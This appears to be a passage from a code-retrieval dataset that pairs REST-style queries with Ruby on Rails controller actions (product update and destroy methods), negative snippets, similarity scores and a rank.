args[:inappproductsupdaterequest].nil?\n @method_name = args[:method_name] unless args[:method_name].nil?\n end", "def update\n @product = Product.find(params[:id])\n @product.name_prefix = @product.name.first.upcase\n respond_to do |format|\n if @product.update_attributes(params[:product])\n\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n #@product = Product.find(params[:id]) #하단에서 미리 선언\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product, notice: '상품이 수정되었습니다.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n flash[:notice] = 'Product was successfully updated.'\n format.html { redirect_to(@product) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @product.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update_usage\n usage_id = BSON::ObjectID.from_string(params[:id])\n product = Product.find(params[:product_id])\n usage = Usage.find(usage_id)\n usage.update_attributes(params[:usage])\n render :update do |page|\n page.replace_html(\"list_usages\", :partial => \"usages\", :locals => { :usages => KnowledgesController.get_paginator_usages(params[:current_page]) })\n end\n end", "def update\n @magento_product = MagentoProduct.find(params[:id])\n\n respond_to do |format|\n if @magento_product.update_attributes(params[:magento_product])\n format.html { redirect_to @magento_product, notice: 'Magento product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @magento_product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_products_details; end", "def update!(**args)\n @kind = args[:kind] unless args[:kind].nil?\n @product_id = args[:product_id] unless args[:product_id].nil?\n @product_type = args[:product_type] unless args[:product_type].nil?\n @token = args[:token] unless args[:token].nil?\n end", "def update\n @product = @user.products.find(params[:id])\n # was @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to user_products_url(@user), notice: 'El producto fue creado exitosamente.' }\n # format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_product\n @product = current_api_v1_user.products.find(params[:id])\n end", "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to(products_path, :notice => 'Product was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @product.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to(products_path, :notice => 'Product was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @product.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\r\n @product = Product.find(params[:id])\r\n\r\n respond_to do |format|\r\n if @product.update_attributes(params[:product])\r\n flash[:notice] = 'Product was successfully updated.'\r\n format.html { redirect_to(@product) }\r\n format.xml { head :ok }\r\n else\r\n format.html { render :action => \"edit\" }\r\n format.xml { render :xml => @product.errors, :status => :unprocessable_entity }\r\n end\r\n end\r\n end", "def update\n if @my_product.update(my_product_params)\n render :show, status: :ok\n else\n render json: @my_product.errors, status: :unprocessable_entity\n end\n end", "def update\n return unless product_params\n render json: @product.simple_info, status: :ok if @product.update!(@product_params)\n rescue => e\n render json: { error: e }, status: :ok\n end", "def update\n @productonegocio = Productonegocio.find(params[:id])\n\n respond_to do |format|\n if @productonegocio.update_attributes(params[:productonegocio])\n format.html { redirect_to @productonegocio, notice: 'Productonegocio was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @productonegocio.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: 'Продукт успешно обновлен.' }\n format.json { render :show, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_so_product\n @so_product = SoProduct.find(params[:id])\n end", "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n flash[:notice] = 'Book entry successfully updated.'\n format.html { redirect_to(@product) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @product.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @so_product.update(so_product_params)\n format.html { redirect_to @so_product, notice: 'So product was successfully updated.' }\n format.json { render :show, status: :ok, location: @so_product }\n else\n format.html { render :edit }\n format.json { render json: @so_product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n flash[:notice] = 'El producto se ha actualizado.'\n format.html { redirect_to(@product) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @product.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @pro_wmall_product = Wmall::Product.find(params[:id])\n\n respond_to do |format|\n if @pro_wmall_product.update_attributes(params[:pro_wmall_product])\n format.html { redirect_to @pro_wmall_product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @pro_wmall_product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @product_software.update_attributes(product_software_params)\n format.html { redirect_to([:admin, @product_software], notice: 'Product Software was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render action: \"edit\" }\n format.xml { render xml: @product_software.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(product_params)\n format.html { redirect_to(@product, :notice => 'Product was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @product.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @product.name = params[:name] unless params[:name].blank?\n @product.net_price = params[:net_price].to_d unless params[:net_price].blank?\n \n if @product.save\n format_response({ success: true, message: \"Product '#{@product.name}' has been updated\" }) and return\n else\n format_response({ success: false, message: @product.errors.full_messages.to_sentence }) and return\n end\n end", "def update\n @orc_suplementacao = OrcSuplementacao.find(params[:id])\n\n respond_to do |format|\n if @orc_suplementacao.update_attributes(params[:orc_suplementacao])\n flash[:notice] = 'SALVO COM SUCESSO.'\n format.html { redirect_to(@orc_suplementacao) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @orc_suplementacao.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @onecompany_product = Onecompany::Product.find(params[:id])\n\n respond_to do |format|\n if @onecompany_product.update_attributes(params[:onecompany_product])\n format.html { redirect_to @onecompany_product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @onecompany_product.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_api_v1_product\n begin\n @api_v1_product = Product.find(params[:id])\n rescue => ex\n json_response({error: ex.message}, :not_found)\n end\n end", "def update\n @tipo_product = TipoProduct.find(params[:id])\n\n respond_to do |format|\n if @tipo_product.update_attributes(params[:tipo_product])\n format.html { redirect_to @tipo_product, notice: 'Tipo product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @tipo_product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n \n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @product_spec.update(product_spec_params)\n format.html { redirect_to @product_spec, notice: 'Product spec was successfully updated.' }\n format.json { render :show, status: :ok, location: @product_spec }\n else\n format.html { render :edit }\n format.json { render json: @product_spec.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @product_buy_click = ProductBuyClick.find(params[:id])\n\n if @product_buy_click.update(product_buy_click_params)\n head :no_content\n else\n render json: @product_buy_click.errors, status: :unprocessable_entity\n end\n end", "def update!(params)\n res = @client.put(path, nil, params, \"Content-Type\" => \"application/json\")\n @attributes = res.json if res.status == 201\n res\n end", "def set_product\n\n # @product = Product.find(params[:id])\n\n end", "def update\n respond_to do |format|\n if @product_review_product.update(product_review_product_params)\n format.html { redirect_to([:admin, @product_review_product], notice: 'ProductReviewProduct was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render action: \"edit\" }\n format.xml { render xml: @product_review_product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update!(**args)\n @product_sets = args[:product_sets] if args.key?(:product_sets)\n end", "def update\n if params[:bid]\n @product.pid = 1\n end\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { render :show, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @tuhu_product.update(tuhu_product_params)\n format.html { redirect_to @tuhu_product, notice: 'Product was successfully updated.' }\n format.json { render :show, status: :ok, location: @tuhu_product }\n else\n format.html { render :edit }\n format.json { render json: @tuhu_product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n product_params = params.require(:product).\n permit(:id, :value)\n\n if product = Product.find_by(external_id: product_params[:id])\n product.value = product_params[:value]\n product.save\n render json: {}, status: :ok\n else\n\n render json: {\n errors: {\n message: \"product not found\",\n product_id: product_params[:id]\n }\n }, status: :unprocessable_entity\n end\n end", "def set_product\n\t\t@product = params[:id]\n\tend", "def update\n @product = Product.find(params[:id])\n\n collect_and_assign_product_weaves\n collect_and_assign_product_fabrics\n collect_and_assign_product_attributes\n collect_and_assign_new_categories\n \n respond_to do |format|\n if @product.update_attributes(params[:product])\n flash[:notice] = 'Product was successfully updated.'\n format.html { redirect_to(admin_product_path(@product)) }\n format.xml { head :ok }\n else\n assign_lovs\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @product.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n if current_user.email == \"[email protected]\"\n @ei_product = EiProduct.find(params[:id])\n\n respond_to do |format|\n if @ei_product.update_attributes(params[:ei_product])\n format.html { redirect_to @ei_product, notice: 'Ei product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @ei_product.errors, status: :unprocessable_entity }\n end\n end\n end\n end", "def update\n @product_owner = ProductOwner.find(params[:id])\n\n respond_to do |format|\n if @product_owner.update_attributes(params[:product_owner])\n format.html { redirect_to @product_owner, notice: 'Product owner was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product_owner.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @pagetitle = \"Edit product\"\n \n @product = Product.find(params[:id])\n @company = @product.company\n @suppliers = @company.get_suppliers()\n @marcas = @company.get_marcas()\n @modelos = @company.get_modelos()\n @categories = @company.get_categories() \n @unidades = Unidad.all\n\n respond_to do |format|\n if @product.update_attributes(products_params)\n format.html { redirect_to(@product, :notice => 'Product was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @product.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @sale_product.update(sale_product_params)\n format.html { redirect_to @sale_product, notice: 'Saída de estoque alterada.' }\n format.json { render :show, status: :ok, location: @sale_product }\n else\n format.html { render :edit }\n format.json { render json: @sale_product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @product = @person.products.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:model])\n flash[:notice] = 'Product was successfully updated.'\n format.json { render :json=>nil }\n else\n format.json { render :json => @product.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @prd_attribute = PrdAttribute.find(params[:id])\n\n @prd_attribute.code = params[:prd_attribute]['code']\n @prd_attribute.name = params[:prd_attribute]['name']\n @prd_attribute.rollover = params[:prd_attribute]['rollover']\n @prd_attribute.description = params[:prd_attribute]['description']\n @prd_attribute.status_id = params[:prd_attribute]['status'].to_i\n @prd_attribute.prd_type = params[:prd_attribute]['prd_type']\n @prd_attribute.bill_type_id = params[:prd_attribute]['bill_type'].to_i\n\n @prd_attribute.service_type_id = params[:prd_attribute]['service_type'].to_i\n @prd_attribute.monthly_fee = params[:prd_attribute]['monthly_fee']\n @prd_attribute.subscription_fee = params[:prd_attribute]['subscription_fee']\n @prd_attribute.target_user = params[:prd_attribute]['target_user']\n @prd_attribute.start_date = params[:prd_attribute]['start_date']\n @prd_attribute.end_date = params[:prd_attribute]['end_date']\n\n respond_to do |format|\n format.html { \n \t\tif @prd_attribute.update_attributes(params[:prd_attribute]) \n\t\t\t\tredirect_to(@prd_attribute, :notice => 'PrdAttribute was successfully updated.') \n\t\t\telse \n \t\tformat.html { render :action => \"edit\" }\n\t\t\tend\n\t\t}\n format.xml { \n \t\tif @prd_attribute.update_attributes(params[:prd_attribute]) \n\t\t\t\thead :ok \n\t\t\telse \t\t\n \t\tformat.xml { render :xml => @prd_attribute.errors, :status => :unprocessable_entity }\n\t\t\tend\n\t\t}\n format.json {\n\n # bundle일 때에는 해당하는 product id들을 저장\n #\n if params[:prd_attribute]['prd_type'].upcase == 'BUNDLE'\n product_ids = []\n\t\t\t params[:prd_attribute]['ref_products'].each do |product_id|\n\t\t\t product_ids << product_id['product_id'].to_s\n\t\t end\n\t\t @prd_attribute.ref_products = product_ids.join(\",\")\n end \n\t\t @prd_attribute.save\n\n # product devices 저장\n #\n if not params[:prd_attribute]['devices'].blank?\n params[:prd_attribute]['devices'].each do |device|\n prd_attribute_device = PrdAttributeDevice.new\n prd_attribute_device.code_factor_id = device['device'].to_i\n prd_attribute_device.prd_attribute_id = @prd_attribute.id\n prd_attribute_device.product_id = @prd_attribute.products[0].id\n prd_attribute_device.save!\n end\n end\n\n \t#render :json => @prd_attribute.errors, :status => :unprocessable_entity\n\t\t\thead :ok\n\t }\n end\n end", "def update\n respond_to do |format|\n if @product_outfit.update(product_outfit_params)\n format.html { redirect_to @product_outfit, notice: \"Product outfit was successfully updated.\" }\n format.json { render :show, status: :ok, location: @product_outfit }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @product_outfit.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_product\n \n @product = Product.find(params[:id].to_i)\n end", "def update\n @product = Product.find(params[:id])\n \n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_product\n \n end" ]
[ "0.64690864", "0.63131523", "0.61795145", "0.6139256", "0.612022", "0.5986314", "0.59827644", "0.5952095", "0.59461963", "0.5909815", "0.5894153", "0.5893239", "0.5877406", "0.5874254", "0.58695847", "0.5865181", "0.5834475", "0.5824009", "0.5818453", "0.5813305", "0.5793699", "0.5792285", "0.57762694", "0.5753724", "0.5752673", "0.57443756", "0.5744032", "0.57339054", "0.5730756", "0.57293916", "0.57227707", "0.571964", "0.57129043", "0.5712863", "0.57080966", "0.5707038", "0.5706914", "0.5706518", "0.57017976", "0.5699308", "0.56992793", "0.56903994", "0.56884843", "0.56884843", "0.56884843", "0.56884843", "0.56882083", "0.5687257", "0.568449", "0.56802493", "0.5677492", "0.56749076", "0.56727153", "0.56717515", "0.5667544", "0.56660295", "0.5659244", "0.56584257", "0.5657914", "0.5657687", "0.5657687", "0.565277", "0.5652555", "0.5647497", "0.56474125", "0.56377184", "0.5629857", "0.5626068", "0.5625637", "0.5621759", "0.5619412", "0.56184024", "0.5617063", "0.5613857", "0.56105953", "0.5602466", "0.5601788", "0.55979216", "0.559748", "0.55898625", "0.55886245", "0.55875987", "0.55863017", "0.5586059", "0.5585863", "0.558564", "0.55849427", "0.5582886", "0.55805224", "0.55759996", "0.55737317", "0.5569636", "0.5569485", "0.55687577", "0.5563951", "0.5563251", "0.5562417", "0.556024", "0.555858", "0.5556332" ]
0.6055777
5
DELETE /product_use_printruns/1 DELETE /product_use_printruns/1.xml
def destroy @product_use_printrun = ProductUsePrintrun.find(params[:id]) @product_use_printrun.destroy respond_to do |format| format.html { redirect_to(product_use_printruns_url) } format.xml { head :ok } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def remove_configuration_product\r\n # node = ProductPackageProduct.find(params[:id].to_i).destroy\r\n # redirect_to :action => \"configuration_products\", :id => node.parent_id\r\n ExampleConfigurationProduct.delete params[:id]\r\n redirect_to :action => \"configuration_products\", :id => params[:id]\r\n end", "def netdev_resxml_delete( xml )\n top = netdev_resxml_top( xml )\n par = top.instance_variable_get(:@parent)\n par['delete'] = 'delete'\n end", "def destroy\n @user_product_xref = UserProductXref.find(params[:id])\n @user_product_xref.destroy\n\n respond_to do |format|\n format.html { redirect_to(user_product_xrefs_url) }\n format.xml { head :ok }\n end\n end", "def delete\r\n \tProductPackageNode.delete params[:node_ids]\r\n render :nothing => true\r\n end", "def destroy\r\n @se_use_product = SeUseProduct.find(params[:id])\r\n @se_use_product.destroy\r\n\r\n respond_to do |format|\r\n format.html { redirect_to(se_use_products_url) }\r\n format.xml { head :ok }\r\n end\r\n end", "def destroy\n @prd_etc = PrdEtc.find(params[:id])\n @prd_etc.destroy\n\n respond_to do |format|\n format.html { redirect_to(prd_etcs_url) }\n format.xml { head :ok }\n end\n end", "def delete_product(name)\n delete(\"/apiproducts/#{name}\")\n end", "def delete_product\n product_to_delete = @view.delete_product\n @seller.delete_product(product_to_delete)\n input = @view.menu(\"2\")\n seller_actions(input) \n end", "def delete()\n response = send_post_request(@xml_api_delete_path)\n response.is_a?(Net::HTTPSuccess) or response.is_a?(Net::HTTPRedirection)\n end", "def destroy\n RestClient.delete \"#{REST_API_URI}/contents/#{id}.xml\" \n self\n end", "def deleteProductProvisioning( product_id, gen_id)\n params = Hash.new\n params['product_id'] = product_id\n params['gen_id'] = gen_id\n return doCurl(\"delete\",\"/product/provisioning\",params)\n end", "def destroy\n @sample_product = SampleProduct.find(params[:id])\n @sample_product.destroy\n\n respond_to do |format|\n format.html { redirect_to(sample_products_url) }\n format.xml { head :ok }\n end\n end", "def delete()\n response = send_post_request(@xml_api_delete_path)\n response.is_a?(Net::HTTPSuccess) or response.is_a?(Net::HTTPRedirection)\n end", "def destroy\n @product_request = ProductRequest.find(params[:id])\n @product_request.destroy\n\n respond_to do |format|\n format.html { redirect_to(product_requests_url) }\n format.xml { head :ok }\n end\n end", "def destroy\r\n @product = Product.find_by_urlname(params[:id])\r\n @product.destroy\r\n\r\n respond_to do |format|\r\n format.html { redirect_to(:controller => :admin, :action => :product_list) }\r\n format.xml { head :ok }\r\n end\r\n end", "def deleteResource(doc, msg_from)\n \n \n begin\n\n puts \"Deleting\"\n\n path = \"\"\n params = {}\n headers = {}\n \n context, path = findContext(doc, path) \n \n # Deleting member from group\n if context == :user_group_member\n params = {}\n else\n raise Exception.new(\"No context given!\")\n end\n \n httpAndNotify(path, params, msg_from, :delete)\n \n rescue Exception => e\n puts \"Problem in parsing data (CREATE) from xml or sending http request to the VR server: \" + e\n puts \" -- line: #{e.backtrace[0].to_s}\"\n end\n \n end", "def destroy\n #@product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to(products_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @ppos_prerequisite = PposPrerequisite.find(params[:id])\n @ppos_prerequisite.destroy\n\n respond_to do |format|\n format.html { redirect_to(ppos_prerequisites_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @product_set = ProductSet.find(params[:id])\n @product_set.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_product_sets_url) }\n format.xml { head :ok }\n end\n end", "def delete\n msg = FileOperations.id_exist?(self) ? FileOperations.delete(self) : 'Product\n Not Found'\n puts msg\n end", "def destroy\n @product_line = ProductLine.find(params[:id])\n @product_line.destroy\n\n respond_to do |format|\n format.html { redirect_to(product_lines_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @installation = Installation.find(params[:installation_id]) \n @onpost = Onpost.find(params[:id])\n @onpost.destroy\n\n respond_to do |format|\n format.html { redirect_to :back }\n format.xml { head :ok }\n end\n end", "def delete_data(index_name)\n uri = @client.make_uri(\"/#{index_name}/update/\")\n req = HTTP::Post.new(uri)\n req.content_type = 'text/xml'\n req.body = '<delete><query>*:*</query></delete>'\n response = @client.send_http(req, true, ['200'])\n end", "def destroy\n @my_product.destroy\n end", "def destroy\n @product.destroy\n respond_to do |format|\n format.html { redirect_to(admin_products_url) }\n format.xml { head :ok }\n end\n website.add_log(user: current_user, action: \"Deleted product: #{@product.name}\")\n end", "def destroy\n @product.destroy\n respond_to do |format|\n format.html { redirect_to(admin_products_url) }\n format.xml { head :ok }\n end\n website.add_log(user: current_user, action: \"Deleted product: #{@product.name}\")\n end", "def destroy\n @produto_kit = ProdutoKit.find(params[:id])\n @produto_kit.destroy\n\n respond_to do |format|\n format.html { redirect_to(produto_kits_url) }\n format.xml { head :ok }\n end\n end", "def remove\n valid = parse_valid(params)\n # puts valid\n choose = $db.search(\"//book[\"+valid+\"]\").remove\n size = 0\n for i in choose\n size += 1\n end\n $file = open PATH, \"w\"\n $file.write $db\n $file.close\n render :soap => \"<result>\"+size.to_s+\"</result>\"\n end", "def destroy\n #@produto = Produto.find(params[:id])\n @produto.destroy\n\n respond_to do |format|\n format.html { redirect_to(produtos_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_products_url) }\n format.xml { head :ok }\n end\n end", "def destroy_rest\n @item_usage = ItemUsage.find(params[:id])\n @item_usage.destroy\n\n respond_to do |format|\n format.html { redirect_to(item_usages_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @produto = Produto.find(params[:id])\n @produto.destroy\n respond_to do |format|\n format.html { redirect_to(admin_produtos_path) }\n format.xml { head :ok }\n end\n end", "def destroy\n @product_buy_click.destroy\n\n head :no_content\n end", "def destroy\n @product_detail = ProductDetail.find(params[:id])\n @product_detail.destroy\n\n respond_to do |format|\n format.html { redirect_to(product_details_url) }\n format.xml { head :ok }\n end\n end", "def delete_product(id)\n @client.raw('delete', \"/ecommerce/products/#{id}\")\n end", "def destroy\n @product_test = ProductTest.find(params[:id])\n @product_test.destroy\n\n respond_to do |format|\n format.html { redirect_to(product_tests_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @config_xml = ConfigXml.find(params[:id])\n @config_xml.destroy\n\n respond_to do |format|\n format.html { redirect_to(config_xmls_url) }\n format.xml { head :ok }\n end\n rescue ActiveRecord::RecordNotFound => e\n prevent_access(e)\n end", "def destroy\n @pr = Pr.find(params[:id])\n @pr.destroy\n\n respond_to do |format|\n format.html { redirect_to(prs_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @xml_sample = XmlSample.find(params[:id])\n @xml_sample.destroy\n\n respond_to do |format|\n format.html { redirect_to xml_samples_url }\n format.xml do\n xml = {msg: \"complete\", status: \"OK\"}.to_xml\n return render xml: xml\n end\n end\n end", "def destroy\n @prd_attribute = PrdAttribute.find(params[:id])\n @prd_attribute.destroy\n\n #delete_rules()\n\n respond_to do |format|\n format.html { redirect_to(prd_attributes_url) }\n format.xml { head :ok }\n format.json { head :ok }\n end\n end", "def destroy\n @catalog_product_attributes = CatalogProductAttributes.find(params[:id])\n @catalog_product_attributes.destroy\n\n respond_to do |format|\n format.html { redirect_to(catalog_product_attributes_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @promos = Promos.find(params[:id])\n @promos.destroy\n\n respond_to do |format|\n format.html { redirect_to(promos_url) }\n format.xml { head :ok }\n end\n end", "def destroy\r\n @product = Product.find(params[:id])\r\n @product.destroy\r\n\r\n respond_to do |format|\r\n format.html { redirect_to(products_url) }\r\n format.xml { head :ok }\r\n end\r\n end", "def delete_data\n response = WebPay.client.delete([path, 'data'].join('/'))\n response['deleted']\n end", "def destroy\n @product = Product.find(params[:id])\n oss = @product.oss\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to products_url(:oss => (oss ||= 'false')) }\n format.xml { head :ok }\n end\n end", "def destroy\n @produto = Produto.find(params[:id])\n @produto.destroy\n\n respond_to do |format|\n format.html { redirect_to(produtos_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @produto = Produto.find(params[:id])\n @produto.destroy\n\n respond_to do |format|\n format.html { redirect_to(produtos_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to(products_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to(products_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to(products_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to(products_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to(products_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to(products_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to(products_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to(products_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to(products_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to(products_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to(products_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to(products_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @product = Product.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to(products_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @collection = Collection.find(params[:id])\n\n Product.delete_all(:collection_id => @collection.id)\n\n save_activity(@collection, \"deleted collection\")\n \n @collection.destroy\n\n respond_to do |format|\n format.html { redirect_to(dashboard_path) }\n format.xml { head :ok }\n end\n end", "def delete\n @user = User.find(params[:id])\n @user.rvsps.delete_all()\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @gstr_advance_receipts = GstrAdvanceReceipt.find_by_id_and_company_id(params[:id], @company.id)\n @gstr_advance_receipts.delete_gstr_one_entry \n @gstr_advance_receipts.delete\n respond_to do |format|\n @gstr_advance_receipts.register_delete_action(request.remote_ip, @current_user, 'deleted')\n format.html { redirect_to(gstr_advance_receipts_url, :notice =>\"Gstr Advance Receipt has been succesfully deleted\") }\n format.xml {head :ok}\n \n end\n end", "def deleteOperation\n\t\tputs \"Enter which record do you want to delete (Product Id)\"\n\t\tpro_id = gets.chomp.to_i\n\t\tbegin\n\t\t\tresult = @statement.executeUpdate(\"delete from products where proid = #{pro_id}\")\n\t\t\tif result\n\t\t\t\tputs \"Record deleted successfully\"\n\t\t\telse\n\t\t\t\tputs \"Record doesnot deleted\"\n\t\t\tend\n\t\trescue Exception => e\n\t\t\tputs e.message\n\t\tend\n\t\[email protected]\n\t\[email protected]\n\tend", "def destroy\n @qx = Qx.find(params[:id])\n @qx.destroy\n\n respond_to do |format|\n format.html { redirect_to(qxes_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @prizecount = Prizecount.find(params[:id])\n @prizecount.destroy\n\n respond_to do |format|\n format.html { redirect_to(prizecounts_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @product = Product.find(params[:id])\n @product.destroy\n flash[:notice] = 'Produto removido com sucesso!'\n respond_to do |format|\n format.html { redirect_to(products_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @suministro = Suministro.find(params[:id])\n @suministro.destroy\n\n respond_to do |format|\n format.html { redirect_to(suministros_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @magento_product = MagentoProduct.find(params[:id])\n @magento_product.destroy\n\n respond_to do |format|\n format.html { redirect_to magento_products_url }\n format.json { head :no_content }\n end\n end", "def delete(options = nil)\n request = Request.new(@client)\n path = \"/products/\" + CGI.escape(@id) + \"\"\n data = {\n\n }\n\n response = Response.new(request.delete(path, data, options))\n return_values = Array.new\n \n return_values.push(response.success)\n\n \n return_values[0]\n end", "def delete_all(xpath); end", "def destroy\n @catalog = Catalog.find(params[:catalog_id])\n @product = @catalog.products.find(params[:id])\n @product.destroy\n\n respond_to do |format|\n format.html { redirect_to(catalog_products_path(@catalog)) }\n format.xml { head :ok }\n end\n end", "def destroy\n @product = Product.find(params[:id])\n drop_rs(current_user.id, params[:id], 